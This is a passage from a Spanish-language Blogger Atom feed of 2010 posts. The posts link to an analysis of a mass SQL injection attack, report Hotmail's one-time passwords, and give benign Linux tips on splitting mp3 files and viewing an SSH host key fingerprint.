David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/8465923324154580188/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/8465923324154580188' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/8465923324154580188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/8465923324154580188'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/06/vpn-con-ssh-by-systemadmines.html' title='VPN con ssh by systemadmin.es'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-7710748692288871444</id><published>2010-06-16T19:08:00.000+02:00</published><updated>2010-06-16T19:08:41.360+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad / Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection"/><title type='text'>Review del reciente ataque masivo de SQLi</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
en la &lt;a class=&quot;vt-p&quot; href=&quot;http://blog.armorize.com/2010/06/recent-evolution-of-mass-sql-injection.html&quot;&gt;web de Armonize&lt;/a&gt; han hecho un buen analisis del último ataque masivo de SQL Injection. No tiene desperdicio.&lt;br /&gt;
&lt;br /&gt;
Saludos&lt;br /&gt;
&lt;br /&gt;
David</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/7710748692288871444/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/7710748692288871444' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7710748692288871444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7710748692288871444'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/06/review-del-reciente-ataque-masivo-de.html' title='Review del reciente ataque masivo de SQLi'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-1451187441836818893</id><published>2010-05-28T18:28:00.000+02:00</published><updated>2010-05-28T18:28:52.655+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Lógica"/><title type='text'>Hotmail: Nuevas medidas de seguridad interesantes</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;Buenas,&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;desde el &lt;a href=&quot;http://www.inteco.es/&quot;&gt;INTECO&lt;/a&gt; envía una noticia sobre nuevas medidas de seguridad que se implantarán en el correo de hotmail y entre ellas destaca la posibilidad de adquirir una &lt;a href=&quot;http://en.wikipedia.org/wiki/One-time_password&quot;&gt;contraseña de uso único&lt;/a&gt; para el acceso a tu cuenta de correo. Muy útil si estamos en ordenadores públicos.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://cert.inteco.es/cert/Notas_Actualidad/nuevas_medidas_de_seguridad_hotmail&quot;&gt;Noticia INTECO - Nuevas medidas de seguridad en el servicio de correo de Hotmail&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;David&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/1451187441836818893/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/1451187441836818893' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/1451187441836818893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/1451187441836818893'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/05/hotmail-nuevas-medidas-de-seguridad.html' title='Hotmail: Nuevas medidas de seguridad interesantes'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-7926114297231756371</id><published>2010-05-22T14:10:00.000+02:00</published><updated>2010-05-22T14:10:37.450+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Cortar un mp3 en Linux</title><content type='html'>Buenas,&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuDks7Zcd5uvORJojEVbaC7rXPm4eOUPvPHaaymOdBHlIEz7ZcIkLR335QAckaTNLTLX98SVpWK0vmoAA2PANTp9UvJxUBY4QKwWgWQ6Pb3FkyxPqoSinYInuHUWcaFNhQI4D_kFVOB-I/s1600/musica.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;166&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuDks7Zcd5uvORJojEVbaC7rXPm4eOUPvPHaaymOdBHlIEz7ZcIkLR335QAckaTNLTLX98SVpWK0vmoAA2PANTp9UvJxUBY4QKwWgWQ6Pb3FkyxPqoSinYInuHUWcaFNhQI4D_kFVOB-I/s200/musica.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Una de las primeras entradas de este blog fue cómo &lt;a href=&quot;http://urdiendo.blogspot.com/2007/05/cortar-mp3-en-ubuntu.html&quot;&gt;cortar un mp3 en varios trozos en Ubutu&lt;/a&gt;, esa solución funciona pero si queremos dividir un mismo archivo mp3 en varias pistas de la misma duración tenemos la herramienta mp3splt.&lt;br /&gt;
&lt;br /&gt;
Se puede descargar de los repositorios de ubuntu y es tan secilla de utilizar como&lt;br /&gt;
&lt;br /&gt;
$&amp;gt;&amp;nbsp;mp3splt -t 3.0 archivo.mp3&lt;br /&gt;
&lt;br /&gt;
Con ese comando se dividirá el archivo en pistas de 3 minutos.&lt;br /&gt;
&lt;br /&gt;
Saludos</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/7926114297231756371/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/7926114297231756371' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7926114297231756371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7926114297231756371'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/05/cortar-un-mp3-en-linux.html' title='Cortar un mp3 en Linux'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuDks7Zcd5uvORJojEVbaC7rXPm4eOUPvPHaaymOdBHlIEz7ZcIkLR335QAckaTNLTLX98SVpWK0vmoAA2PANTp9UvJxUBY4QKwWgWQ6Pb3FkyxPqoSinYInuHUWcaFNhQI4D_kFVOB-I/s72-c/musica.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-4512795692968361209</id><published>2010-04-18T14:40:00.000+02:00</published><updated>2010-04-18T14:40:40.248+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="TodoLinux"/><title type='text'>Todo Linux Nº 113</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;Buenas,&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;nuevo número de la revista TodoLinux, lo anuncio un poco tarde pero este mes está siendo muy ocupado.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;En este número escribo un artículo sobre cómo montar un servidor FTP y asegurar las comunicaciones para que terceros no puedan coger nuestros documentos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4T7Cv6jGrZgA9GW_ZgP904Wy4VQsYs2FmYy3QKq1lZslL5g74rUKhwC8P_eS10U1g4f0SNNu7kN84Y9pCcezrkxKfRR28s8c3lwlj2id2WZUKY7F_DSbAaBIh9mlsv6X3hifsiBbwzbE/s1600/portadatodolinux113.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4T7Cv6jGrZgA9GW_ZgP904Wy4VQsYs2FmYy3QKq1lZslL5g74rUKhwC8P_eS10U1g4f0SNNu7kN84Y9pCcezrkxKfRR28s8c3lwlj2id2WZUKY7F_DSbAaBIh9mlsv6X3hifsiBbwzbE/s320/portadatodolinux113.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;David&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/4512795692968361209/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/4512795692968361209' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/4512795692968361209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/4512795692968361209'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/04/todo-linux-n-113.html' title='Todo Linux Nº 113'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4T7Cv6jGrZgA9GW_ZgP904Wy4VQsYs2FmYy3QKq1lZslL5g74rUKhwC8P_eS10U1g4f0SNNu7kN84Y9pCcezrkxKfRR28s8c3lwlj2id2WZUKY7F_DSbAaBIh9mlsv6X3hifsiBbwzbE/s72-c/portadatodolinux113.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-4939543059410774724</id><published>2010-03-12T17:05:00.000+01:00</published><updated>2010-03-12T17:05:49.646+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SSH"/><title type='text'>Ver fingerprint de servidor SSH</title><content type='html'>Buenas&lt;br /&gt;
&lt;br /&gt;
aquí queda un recordatorio para ver el fingerprint de un servidor SSH en linux, en concreto para OpenSSH:&lt;br /&gt;
&lt;br /&gt;
$&amp;gt; ssh-keygen -lf /etc/ssh/ssh_host_rsa_key&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiepxuQBUadmVw9eCnUeghrkehJlc8Y3PAAQ4Ududf5NPzPRLSryPKiZN2-QMq6HZXrlaVLjmZBRfGvvttbYgOkf0o7U6pu23k_fhcq0NtNNlUqLsHGnhfYQYlhSkwFMQPhSdzSnywuHDM/s1600-h/openssh-banner.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;132&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiepxuQBUadmVw9eCnUeghrkehJlc8Y3PAAQ4Ududf5NPzPRLSryPKiZN2-QMq6HZXrlaVLjmZBRfGvvttbYgOkf0o7U6pu23k_fhcq0NtNNlUqLsHGnhfYQYlhSkwFMQPhSdzSnywuHDM/s400/openssh-banner.gif&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
David&lt;br /&gt;
&lt;br /&gt;
Pd: como me gusta el pez!</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/4939543059410774724/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/4939543059410774724' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/4939543059410774724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/4939543059410774724'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2010/03/ver-fingerprint-de-servidor-ssh.html' title='Ver fingerprint de servidor SSH'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiepxuQBUadmVw9eCnUeghrkehJlc8Y3PAAQ4Ududf5NPzPRLSryPKiZN2-QMq6HZXrlaVLjmZBRfGvvttbYgOkf0o7U6pu23k_fhcq0NtNNlUqLsHGnhfYQYlhSkwFMQPhSdzSnywuHDM/s72-c/openssh-banner.gif" height="72" width="72"/><thr:total>0</thr:total></entry></feed>